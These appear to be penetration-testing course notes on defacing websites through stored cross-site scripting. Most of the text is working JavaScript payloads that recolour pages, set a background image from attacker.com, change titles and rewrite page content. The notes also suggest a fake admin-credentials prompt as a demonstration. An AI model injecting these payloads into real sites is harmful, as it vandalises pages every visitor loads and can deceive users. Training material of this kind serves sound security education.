Website defacing means changing the visible appearance or content of a page. With Stored XSS the change is persistent — it survives refreshes and appears to every visitor. It’s a low-impact demonstration on the attacker side but a loud signal for stakeholder impact (“look, every visitor sees this”).
Core Building Blocks
Four JavaScript/DOM properties cover most defacing use cases:
| Purpose | JavaScript |
|---|---|
| Background color | document.body.style.background |
| Background image | document.body.background |
| Page / tab title | document.title |
| Page content | element.innerHTML / document.body.innerHTML |
1. Change Background Color
<script>document.body.style.background = "#141d2b"</script>
<script>document.body.style.background = "black"</script>2. Change Background Image
<script>document.body.background = "https://attacker.com/image.jpg"</script>3. Change Page Title
<script>document.title = 'HackTheBox Academy'</script>Changes the browser tab’s title.
4. Modify a Specific Element
If the target has id="todo":
document.getElementById("todo").innerHTML = "New Text"Or with jQuery if available:
$("#todo").html('New Text');5. Replace the Entire Body
document.getElementsByTagName('body')[0].innerHTML = "Hacked"6. Complete Custom Page
<script>
document.getElementsByTagName('body')[0].innerHTML =
'<center><h1 style="color:white">Cyber Security Training</h1>' +
'<p style="color:white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px"></p></center>'
</script>Important — Original HTML Isn’t Deleted
The server still returns the original HTML. The browser first receives that HTML, then executes your injected JavaScript, which modifies the live DOM shown to the user:
Original HTML → Browser parses it → Stored XSS fires → DOM modified → User sees defaced page
View-source might show the original, but screen rendering shows your version. This is also why refreshing doesn’t fix a Stored XSS deface — every load re-runs the stored payload.
Why Use This Legitimately
In an engagement context, defacing is a demonstration tool, not a goal. Stakeholders understand “I can change the login page to say ‘please enter admin credentials’” more viscerally than “I can run arbitrary JavaScript”. Use the visual impact to drive home the severity when writing the report.
